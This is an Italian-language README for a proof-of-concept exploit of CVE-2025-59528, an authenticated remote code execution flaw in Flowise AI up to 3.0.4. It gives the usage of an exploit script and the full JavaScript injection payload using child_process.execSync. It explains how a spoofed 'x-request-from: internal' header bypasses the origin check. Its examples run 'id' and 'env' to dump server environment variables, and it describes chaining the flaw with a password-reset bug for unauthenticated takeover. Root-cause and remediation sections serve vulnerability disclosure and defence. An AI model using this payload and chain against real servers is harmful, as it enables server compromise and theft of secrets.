CVE-2025-59528 — Flowise AI Esecuzione Remota di Codice autenticata (RCE)

Panoramica

ID CVE: CVE-2025-59528
Software interessato: Flowise AI
Versioni vulnerabili: <= 3.0.4
Versione corretta: 3.0.5 e successive
Gravità: Critica
Autore: r3nsi15
Data: 2025

Descrizione

Le versioni di Flowise AI fino alla 3.0.4 inclusa consentono a un utente autenticato di ottenere Esecuzione Remota di Codice (RCE) sul server host inviando un payload JavaScript appositamente costruito all'endpoint /api/v1/node-load-method/customMCP.

Il metodo di load del nodo customMCP accetta input controllati dall'utente che vengono valutati lato server come JavaScript, senza un'adeguata sanitizzazione o sandboxing. Iniettando un payload che sfrutta child_process.execSync di Node.js, un attaccante può eseguire comandi arbitrari del sistema operativo con i privilegi del processo del server Flowise.

L'endpoint richiede inoltre la presenza dell'header x-request-from: internal.

Endpoint interessato

Proof of Concept

File: CVE-2025-59528_POC.py

Requisiti

• Python 3.x
• Libreria requests
• Credenziali valide per un qualsiasi account utente sull'istanza Flowise target

pip install requests

Utilizzo

python3 CVE-2025-59528_POC.py -e <email> -i <target_url> -p <password> -c <command>

Argomenti

Esempi

Verificare l'esecuzione del codice:

python3 CVE-2025-59528_POC.py -e [email protected] -i https://flowise.example.com -p MyP@ss -c "id"

Recuperare le variabili d'ambiente del server:

python3 CVE-2025-59528_POC.py -e [email protected] -i https://flowise.example.com -p MyP@ss -c "env"

Output atteso

[+] Logged in
[+] Exploit sent
[+] Status: 200

Analisi del Payload

L'exploit inietta la seguente espressione JavaScript nel campo mcpServerConfig:

({x:(function(){
    const cp = process.mainModule.require('child_process');
    cp.execSync('<command>');
    return 1;
})()})

• process.mainModule.require('child_process') — carica il modulo integrato di Node.js per l'esecuzione di processi.
• execSync('<command>') — esegue in modo sincrono il comando del sistema operativo fornito dall'attaccante.
• L'intera espressione è racchiusa in un oggetto letterale per garantirne la valutazione pulita nel contesto JavaScript del server.

L'header x-request-from: internal viene inoltre aggiunto alla richiesta per superare un controllo di origine interna che altrimenti bloccherebbe la chiamata.

Causa principale

L'endpoint customMCP passa direttamente l'input fornito dall'utente a un contesto di valutazione JavaScript sul server, senza sanitizzazione o sandboxing. Combinato con l'accesso senza restrizioni ai moduli core di Node.js (in particolare child_process) tramite process.mainModule.require, ciò crea un vettore RCE banale da sfruttare. Il controllo dell'header x-request-from non fornisce alcuna reale frontiera di sicurezza, poiché non viene validato rispetto a una fonte attendibile.

Combinazione con CVE-2025-58434

Queste due vulnerabilità possono essere combinate per un percorso d'attacco RCE non autenticato contro istanze Flowise che eseguono versioni <= 3.0.4:

1. Usare CVE-2025-58434 per reimpostare la password di un account noto (senza necessità di autenticazione preliminare).
2. Accedere con le nuove credenziali appena impostate.
3. Usare CVE-2025-59528 per eseguire comandi arbitrari del sistema operativo sul server.

Rimedio

• Aggiornare a Flowise AI 3.0.5 o successiva, che rimuove o sandboxa correttamente il percorso di valutazione vulnerabile.
• Non valutare mai stringhe controllate dall'utente come codice in un contesto lato server.
• Limitare l'accesso ai moduli Node.js pericolosi (child_process, fs, ecc.) tramite un'adeguata sandbox (ad esempio vm2, contesti isolati o rimuovendo l'accesso a process.mainModule).
• Validare e autenticare l'header x-request-from tramite un meccanismo lato server anziché un semplice controllo di stringa.
• Applicare il principio del minimo privilegio al processo del server Flowise.

Disclaimer

Questo proof of concept è fornito esclusivamente a scopo educativo e di ricerca sulla sicurezza autorizzata. L'uso di questo script contro sistemi senza un'esplicita autorizzazione scritta è illegale e non etico. L'autore e i collaboratori non si assumono alcuna responsabilità per un uso improprio.